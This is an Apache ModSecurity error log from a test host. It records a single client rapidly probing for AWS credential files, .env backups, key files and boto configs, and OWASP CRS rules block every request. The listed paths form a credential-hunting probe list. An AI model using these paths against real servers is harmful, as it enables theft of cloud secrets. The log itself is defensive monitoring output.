[Thu Mar 12 21:45:15.209473 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /s3/.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.aws/config"] [unique_id "abMl2xh46oOr_mPgZ6HLbQAAAAI"]
[Thu Mar 12 21:45:15.209671 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.aws/config"] [unique_id "abMl2xh46oOr_mPgZ6HLbQAAAAI"]
[Thu Mar 12 21:45:15.209801 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.aws/config"] [unique_id "abMl2xh46oOr_mPgZ6HLbQAAAAI"]
[Thu Mar 12 21:45:15.254599 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abMl2xh46oOr_mPgZ6HLbwAAAAI"]
[Thu Mar 12 21:45:15.254843 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abMl2xh46oOr_mPgZ6HLbwAAAAI"]
[Thu Mar 12 21:45:15.255019 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abMl2xh46oOr_mPgZ6HLbwAAAAI"]
[Thu Mar 12 21:45:15.506480 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abMl2xh46oOr_mPgZ6HLegAAAAI"]
[Thu Mar 12 21:45:15.506688 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abMl2xh46oOr_mPgZ6HLegAAAAI"]
[Thu Mar 12 21:45:15.506824 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abMl2xh46oOr_mPgZ6HLegAAAAI"]
[Thu Mar 12 21:45:15.529033 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.aws"] [unique_id "abMl2xh46oOr_mPgZ6HLewAAAAI"]
[Thu Mar 12 21:45:15.529228 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.aws"] [unique_id "abMl2xh46oOr_mPgZ6HLewAAAAI"]
[Thu Mar 12 21:45:15.529374 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.aws"] [unique_id "abMl2xh46oOr_mPgZ6HLewAAAAI"]
[Thu Mar 12 21:45:15.733266 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3.key"] [unique_id "abMl2xh46oOr_mPgZ6HLhAAAAAI"]
[Thu Mar 12 21:45:15.733655 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3.key"] [unique_id "abMl2xh46oOr_mPgZ6HLhAAAAAI"]
[Thu Mar 12 21:45:15.733772 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3.key"] [unique_id "abMl2xh46oOr_mPgZ6HLhAAAAAI"]
[Thu Mar 12 21:45:15.778272 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.env.bak"] [unique_id "abMl2xh46oOr_mPgZ6HLhgAAAAI"]
[Thu Mar 12 21:45:15.778518 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /s3/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.env.bak"] [unique_id "abMl2xh46oOr_mPgZ6HLhgAAAAI"]
[Thu Mar 12 21:45:15.778701 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.env.bak"] [unique_id "abMl2xh46oOr_mPgZ6HLhgAAAAI"]
[Thu Mar 12 21:45:15.778822 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.env.bak"] [unique_id "abMl2xh46oOr_mPgZ6HLhgAAAAI"]
[Thu Mar 12 21:45:15.800838 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/credentials"] [unique_id "abMl2xh46oOr_mPgZ6HLhwAAAAI"]
[Thu Mar 12 21:45:15.801025 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/credentials"] [unique_id "abMl2xh46oOr_mPgZ6HLhwAAAAI"]
[Thu Mar 12 21:45:15.801144 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/credentials"] [unique_id "abMl2xh46oOr_mPgZ6HLhwAAAAI"]
[Thu Mar 12 21:45:15.823215 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /root/.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/config"] [unique_id "abMl2xh46oOr_mPgZ6HLiAAAAAI"]
[Thu Mar 12 21:45:15.823404 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/config"] [unique_id "abMl2xh46oOr_mPgZ6HLiAAAAAI"]
[Thu Mar 12 21:45:15.823528 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/config"] [unique_id "abMl2xh46oOr_mPgZ6HLiAAAAAI"]
[Thu Mar 12 21:45:15.845553 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /home/*/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.aws/credentials"] [unique_id "abMl2xh46oOr_mPgZ6HLiQAAAAI"]
[Thu Mar 12 21:45:15.845742 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.aws/credentials"] [unique_id "abMl2xh46oOr_mPgZ6HLiQAAAAI"]
[Thu Mar 12 21:45:15.845866 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.aws/credentials"] [unique_id "abMl2xh46oOr_mPgZ6HLiQAAAAI"]
[Thu Mar 12 21:45:15.868027 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".boto" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .boto found within REQUEST_FILENAME: /.boto"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.boto"] [unique_id "abMl2xh46oOr_mPgZ6HLigAAAAI"]
[Thu Mar 12 21:45:15.868214 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.boto"] [unique_id "abMl2xh46oOr_mPgZ6HLigAAAAI"]
[Thu Mar 12 21:45:15.868337 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.boto"] [unique_id "abMl2xh46oOr_mPgZ6HLigAAAAI"]
[Thu Mar 12 21:45:15.890289 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".boto" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .boto found within REQUEST_FILENAME: /root/.boto"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.boto"] [unique_id "abMl2xh46oOr_mPgZ6HLiwAAAAI"]
[Thu Mar 12 21:45:15.890480 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.boto"] [unique_id "abMl2xh46oOr_mPgZ6HLiwAAAAI"]
[Thu Mar 12 21:45:15.890591 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.boto"] [unique_id "abMl2xh46oOr_mPgZ6HLiwAAAAI"]
[Thu Mar 12 21:45:15.957685 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".cfg"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/boto.cfg"] [unique_id "abMl2xh46oOr_mPgZ6HLjgAAAAI"]
[Thu Mar 12 21:45:15.958069 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/boto.cfg"] [unique_id "abMl2xh46oOr_mPgZ6HLjgAAAAI"]
[Thu Mar 12 21:45:15.958191 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/boto.cfg"] [unique_id "abMl2xh46oOr_mPgZ6HLjgAAAAI"]
